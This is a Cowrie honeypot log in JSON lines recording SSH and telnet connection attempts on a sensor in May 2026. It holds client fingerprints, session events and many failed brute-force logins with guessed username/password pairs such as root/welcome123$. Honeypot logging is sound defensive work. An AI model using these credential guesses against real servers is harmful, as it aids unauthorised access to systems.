{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47144,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e032620c13d","protocol":"ssh","message":"New connection: 31.40.204.166:47144 (159.203.135.109:22) [session: 1e032620c13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:26.086443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:26.098813Z","src_ip":"31.40.204.166","session":"1e032620c13d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37558,"dst_ip":"10.17.0.5","dst_port":23,"session":"37aee11da4c0","protocol":"telnet","message":"New connection: 152.42.224.71:37558 (10.17.0.5:23) [session: 37aee11da4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:26.166218Z"}
{"eventid":"cowrie.session.closed","duration":54.2021381855011,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:26.516269Z","src_ip":"152.42.224.71","session":"e1e9474cc9bf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:26.603508Z","src_ip":"31.40.204.166","session":"1e032620c13d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:27.094512Z","src_ip":"31.40.204.166","session":"1e032620c13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:28.285495Z","src_ip":"31.40.204.166","session":"1e032620c13d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36182,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a8b6e603a65","protocol":"telnet","message":"New connection: 152.42.224.71:36182 (10.17.0.5:23) [session: 4a8b6e603a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:37.244028Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54600,"dst_ip":"159.203.135.109","dst_port":22,"session":"059d251362f9","protocol":"ssh","message":"New connection: 31.40.204.166:54600 (159.203.135.109:22) [session: 059d251362f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:37.681254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:37.701681Z","src_ip":"31.40.204.166","session":"059d251362f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:37.812320Z","src_ip":"31.40.204.166","session":"059d251362f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:38.628792Z","src_ip":"31.40.204.166","session":"059d251362f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.58484220504761,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:39.268469Z","src_ip":"152.42.224.71","session":"1e346d4c0f6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:39.802793Z","src_ip":"31.40.204.166","session":"059d251362f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36194,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2149230273c","protocol":"telnet","message":"New connection: 152.42.224.71:36194 (10.17.0.5:23) [session: f2149230273c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:41.526297Z"}
{"eventid":"cowrie.session.closed","duration":107.96282744407654,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:45.274965Z","src_ip":"152.42.224.71","session":"99f97ddc6a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44426,"dst_ip":"10.17.0.5","dst_port":23,"session":"e80b7a21c93e","protocol":"telnet","message":"New connection: 152.42.224.71:44426 (10.17.0.5:23) [session: e80b7a21c93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:47.279496Z"}
{"eventid":"cowrie.session.closed","duration":32.40757083892822,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:48.015418Z","src_ip":"152.42.224.71","session":"f64414bc4dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44436,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a50a0eed3b","protocol":"telnet","message":"New connection: 152.42.224.71:44436 (10.17.0.5:23) [session: 31a50a0eed3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:48.285885Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36988,"dst_ip":"159.203.135.109","dst_port":22,"session":"c61a027b985c","protocol":"ssh","message":"New connection: 31.40.204.166:36988 (159.203.135.109:22) [session: c61a027b985c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:49.680341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:49.789115Z","src_ip":"31.40.204.166","session":"c61a027b985c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:50.105104Z","src_ip":"31.40.204.166","session":"c61a027b985c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:50.605893Z","src_ip":"31.40.204.166","session":"c61a027b985c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.072027921676636,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:51.023999Z","src_ip":"152.42.224.71","session":"7c292904a0a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:51.797088Z","src_ip":"31.40.204.166","session":"c61a027b985c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49554681777954,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:51.968956Z","src_ip":"152.42.224.71","session":"d779e83c4d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.6812493801117,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:56.101178Z","src_ip":"152.42.224.71","session":"e9cdd3d11e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":48381,"dst_ip":"159.203.135.109","dst_port":22,"session":"62e0dc9f24dc","protocol":"ssh","message":"New connection: 182.217.16.126:48381 (159.203.135.109:22) [session: 62e0dc9f24dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:57.396518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:57.401954Z","src_ip":"182.217.16.126","session":"62e0dc9f24dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:57.604842Z","src_ip":"182.217.16.126","session":"62e0dc9f24dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cbd10f2aa95","protocol":"telnet","message":"New connection: 152.42.224.71:57782 (10.17.0.5:23) [session: 0cbd10f2aa95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:58.173904Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@ditzu123","message":"login attempt [root/A@ditzu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:58.445262Z","src_ip":"182.217.16.126","session":"62e0dc9f24dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:59.650124Z","src_ip":"182.217.16.126","session":"62e0dc9f24dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":41188,"dst_ip":"159.203.135.109","dst_port":22,"session":"919293a02de1","protocol":"ssh","message":"New connection: 43.153.54.120:41188 (159.203.135.109:22) [session: 919293a02de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:59.959835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:59.964828Z","src_ip":"43.153.54.120","session":"919293a02de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:00.033521Z","src_ip":"43.153.54.120","session":"919293a02de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123$","message":"login attempt [root/welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:00.342098Z","src_ip":"43.153.54.120","session":"919293a02de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.422938346862793,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:00.702303Z","src_ip":"152.42.224.71","session":"e80b7a21c93e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:01.414630Z","src_ip":"43.153.54.120","session":"919293a02de1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":37042,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e4b6c94763d","protocol":"ssh","message":"New connection: 119.28.115.94:37042 (159.203.135.109:22) [session: 7e4b6c94763d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:01.628514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:01.634738Z","src_ip":"119.28.115.94","session":"7e4b6c94763d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:01.883405Z","src_ip":"119.28.115.94","session":"7e4b6c94763d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48898,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e47581e7dcc","protocol":"ssh","message":"New connection: 31.40.204.166:48898 (159.203.135.109:22) [session: 6e47581e7dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:02.784214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:02.823506Z","src_ip":"31.40.204.166","session":"6e47581e7dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"merdeka123","message":"login attempt [root/merdeka123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:02.899179Z","src_ip":"119.28.115.94","session":"7e4b6c94763d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:03.007591Z","src_ip":"31.40.204.166","session":"6e47581e7dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:03.794588Z","src_ip":"31.40.204.166","session":"6e47581e7dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.165383Z","src_ip":"119.28.115.94","session":"7e4b6c94763d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34082,"dst_ip":"10.17.0.5","dst_port":22,"session":"94976c6ed44f","protocol":"ssh","message":"New connection: 147.45.199.80:34082 (10.17.0.5:22) [session: 94976c6ed44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.423607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.429533Z","src_ip":"147.45.199.80","session":"94976c6ed44f","protocol":"ssh"}
